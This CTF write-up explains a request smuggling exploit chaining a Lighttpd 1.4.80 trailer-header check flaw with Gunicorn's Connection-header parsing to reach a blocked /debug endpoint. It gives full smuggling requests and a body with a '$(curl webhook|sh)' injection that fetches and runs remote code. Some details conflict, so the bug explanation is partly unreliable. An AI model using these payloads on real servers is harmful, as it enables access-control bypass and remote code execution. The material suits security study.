Request Smuggling n day (lighttpd1.4)
Solution of CTF challenge from m0lecon CTF 2025 (trailing-danger)
Challenge Code:
In this writeup I am only going to focus on n-day request smuggling exploit rather than full Solution.
HTTP Request Smuggling: The Trailing Danger Exploit Explained
What is Request Smuggling?
Imagine you're at a restaurant. You tell the waiter "I want 1 burger" but somehow the kitchen receives "I want 1 burger AND a free steak". That extra order sneaked through - that's basically request smuggling!
In web security, request smuggling happens when:
A proxy (front door) sees ONE request
A backend server (kitchen) sees TWO requests
The second request bypasses all the proxy's security checks
The Setup
[You] → [Lighttpd Proxy] → [Gunicorn Backend]
(Security Guard) (Actual Server)The proxy has a rule: "Nobody can access /debug endpoint!"
But we're going to smuggle a request to /debug anyway...
The Bug: A Simple Mistake in Code
In Lighttpd 1.4.80, there's a function http_request_trailer_check() in src/request.c (line ~1478) that checks if certain headers are allowed in "trailers" (headers sent AFTER the request body).
What are trailer headers?
POST / HTTP/1.1
Host: localhost:3002
Transfer-Encoding: chunked
Connection: cl
TE: trailers
a
1234567890
0
SomeHeader: Value <----- These are trailer headers, that can be send after body
Content-Length: 0 <----- Conent Length header should not be allowed in trailer, that's the bug
Trailer headers are headers send after the request body, these headers are merged back into main headers which causes confusion.
above request after merge will have following headers
Transfer-Encoding: chunked
Connection: cl
TE: trailers
SomeHeader: Value <- after merge
Content-Length: 0 <-- after mergeGenerally any server would rejects if we send both Transfer-Encoding: chunked and Content-Length headers, but in this case , content-length headers is merged later into main headers
RFC only few headers are allowed as trailer headers and thats the main bug(i.e Content-length headers shouln't in Trailers)
The Vulnerable Code (request.c:1478, it should have rejected content-length in trailer)
const enum http_header_e id = tpctx->id =
http_header_hkey_get(tpctx->k, tpctx->klen);
if (__builtin_expect( (id != HTTP_HEADER_OTHER), 1)) {
/* explicitly reject certain field names disallowed in trailers */
if (id
& (light_bshift(HTTP_HEADER_AUTHORIZATION)
|light_bshift(HTTP_HEADER_AGE)
|light_bshift(HTTP_HEADER_CACHE_CONTROL)
|light_bshift(HTTP_HEADER_CONNECTION) // ← Should reject Connection!
|light_bshift(HTTP_HEADER_CONTENT_ENCODING)
|light_bshift(HTTP_HEADER_CONTENT_LENGTH) // ← Should reject Content-Length!
// ... more headers ...
|light_bshift(HTTP_HEADER_TE) // ← Should reject TE!
|light_bshift(HTTP_HEADER_TRANSFER_ENCODING)
|light_bshift(HTTP_HEADER_UPGRADE) // ← Should reject Upgrade!
// ... more headers ...
))
return http_request_header_line_invalid(r, 400,
"forbidden trailer");
}The Problem: When a trailer header name is NOT recognized (like "Content-Length", "Connection", "TE"), id gets set to HTTP_HEADER_OTHER which has value 0.
The check becomes:
if (0 & (light_bshift(HTTP_HEADER_CONNECTION) | ...)) {
// 0 & ANYTHING = 0 (false)
// This NEVER executes!
}So any unrecognized header name bypasses the forbidden check! Headers like Content-Length, Connection, TE, Upgrade pass through even though they're in the forbidden list.
First Attempt: Using Content-Length Trailer (Almost Works!)
Let's try a simpler attack first:
POST / HTTP/1.1
Host: localhost:3002
Transfer-Encoding: chunked
6c
POST /debug HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 10
_smuggled_
0
Content-Length: 0What happens:
Lighttpd dechunks the request
Lighttpd sees trailer
Content-Length: 0BUG! Trailer passes validation and gets merged
Lighttpd forwards to backend:
POST / HTTP/1.1
Content-Length: 0 ← From trailer!
Connection: close ← mod_proxy always adds this
POST /debug HTTP/1.1 ← Body of above request
Host: localhost:8001
Content-Type: application/json
Content-Length: 10
_smuggled_Backend processing:
Gunicorn sees
POST /withContent-Length: 0Gunicorn reads 0 bytes of body (ignores the rest)
Gunicorn responds to first request
Gunicorn sees
Connection: closeGunicorn closes the connection ❌ The second request (
POST /debug) is never processed!
We need a way to keep the connection open... 🤔
How Trailers Poison the Connection Header
Here's the clever trick that makes request smuggling possible:
The Dilemma:
mod_proxy always sends
Connection: closeto backendsIf backend sees
Connection: close, it closes the connection after the first requestNo connection = No smuggling! 😢
The Solution: We need to poison the Connection header so it's NOT recognized as "close" by the backend!
Step 1: Send the Attack Request
POST / HTTP/1.1
Host: localhost:3002
Transfer-Encoding: chunked
Connection: xxxx
TE: trailers
6c
POST /debug HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 10
_smuggled_
0
Content-Length: 0Notice:
We send
Connection: xxxxin the initial headers (so that we dont force close)We send
TE: trailersin the initial headers (tells proxy we'll send trailers)We send
Content-Length: 0as a trailer (after the chunks end)
Step 2: Lighttpd Processes the Request
Lighttpd dechunks the request
Lighttpd sees the trailer
Content-Length: 0BUG! The trailer passes validation (because
id=0bypasses the check)The trailer gets merged into the request headers
Now the request headers look like:
Connection: close
TE: trailers
Content-Length: 0 ← Added from trailer!Step 3: mod_proxy Builds the Backend Request
mod_proxy loops through the headers and sees:
TE: trailers→ Sets internal variablete = &ds->valueConnection: close→ Notes it but doesn't forward it
Then mod_proxy builds the Connection header for the backend:
buffer_append_string_len(b, CONST_STR_LEN("\r\nConnection: close"));
if (te)
buffer_append_string_len(b, CONST_STR_LEN(", te")); // ← APPENDS ", te"!Result: The backend receives:
POST / HTTP/1.1
Content-Length: 0
Connection: close, te ← POISONED!!! yipee (gunicorn only closes connection if its exactly close)
POST /debug HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 10
{"ip":"s"}Step 4: Gunicorn Misinterprets the Connection Header
Gunicorn reads Connection: close, te and thinks:
"Hmm, this says 'close, te'"
"That's not exactly 'close'"
"I'll keep the connection open!" ✅
Step 5: Request Smuggling Happens!
Gunicorn processes the first request:
POST /withContent-Length: 0Gunicorn sends a response
Connection stays open (because
Connection: close, te≠Connection: close)Gunicorn reads more data from the buffer
Gunicorn sees:
POST /debug...Smuggled request! This bypasses the proxy's security rules!
The Magic:
The
TE: trailersheader in the initial request causes mod_proxy to append, teto the Connection headerThis "poisons" the Connection header so Gunicorn doesn't recognize it as "close"
The connection stays open, enabling request smuggling!
Working Exploit Works
The Attack Request
POST / HTTP/1.1
Host: localhost:3002
Transfer-Encoding: chunked
Connection: cl
TE: trailers
6c
POST /debug HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 10
_smuggled_
0
Content-Length: 0Breaking it down:
Initial headers include
TE: trailers- Tells proxy we'll send trailersConnection: xxxx- Any value that's not "close"Transfer-Encoding: chunked- Body sent in chunks6c- Chunk size: 108 bytes (0x6c in hex)Chunk data - Contains a COMPLETE second HTTP request to
/debug0- End of chunksContent-Length: 0- This is a TRAILER (sent after body ends)
Step 2: Lighttpd Gets Confused
Lighttpd processes this:
✅ "OK, chunked encoding, let me dechunk this..."
✅ "Now I have trailers, let me merge them into headers..."
❌ BUG! "These trailer names look fine to me!" (They shouldn't be!)
🤦 Lighttpd creates this request to send to backend:
POST / HTTP/1.1
Content-Length: 0 ← From trailer (WRONG!)
Connection: close, te ← Modified by trailer (WRONG!)
POST /debug HTTP/1.1 ← This is now the "body"
Host: localhost
Content-Type: application/json
Content-Length: 50
{"ip":"::1%$(curl webhook|sh)"}Step 3: Gunicorn Gets REALLY Confused
Gunicorn (the backend) reads this and thinks:
"First request:
POST /withContent-Length: 0""Body is empty, let me respond..."
"Wait, should I close the connection?"
"Hmm,
Connection: close, te... that's not exactlyConnection: close""I'll keep the connection open!" ← CRITICAL MISTAKE
"Oh look, there's more data in the buffer!"
"It looks like another HTTP request:
POST /debug""Let me process this second request..." ← SMUGGLED REQUEST!
Step 4: Security Bypassed! 🚨
The /debug request never went through the proxy's security check!
Proxy's view: 1 request to "/" ✅ Allowed
Backend's view: 1 request to "/" ✅ Processed
1 request to "/debug" 🚨 SMUGGLED! (bypassed proxy rules)Why Does This Work?
Bug #1: Trailer Merge (Lighttpd)
Lighttpd allows dangerous headers in trailers due to the bitwise check bug
These trailers modify the forwarded request
Bug #2: Connection Parsing (Gunicorn)
RFC says:
Connection: close, teshould close the connectionGunicorn only recognizes literal
Connection: closeSo
Connection: close, tekeeps the connection alive!
The Combo
Trailer bug lets us inject
Connection: close, teConnection parsing bug keeps connection alive
Backend reads "leftover" data as a new request
That new request bypasses all proxy security!
Visual Timeline
Time →
[Client sends]
┌─────────────────────────────────────┐
│ POST / (chunked) │
│ Chunk: [POST /debug ...] │
│ Trailers: Content-Length, Connection│
└─────────────────────────────────────┘
↓
[Lighttpd processes]
┌─────────────────────────────────────┐
│ Dechunk ✓ │
│ Merge trailers ✗ (BUG!) │
│ Forward to backend │
└─────────────────────────────────────┘
↓
[Gunicorn receives]
┌─────────────────────────────────────┐
│ POST / (CL:0, Connection:close,te) │
│ [POST /debug ...] ← in buffer │
└─────────────────────────────────────┘
↓
[Gunicorn processes]
┌─────────────────────────────────────┐
│ Request 1: POST / → Response sent │
│ Connection stays open ✗ (BUG!) │
│ Request 2: POST /debug → SMUGGLED! │
└─────────────────────────────────────┘References
Last updated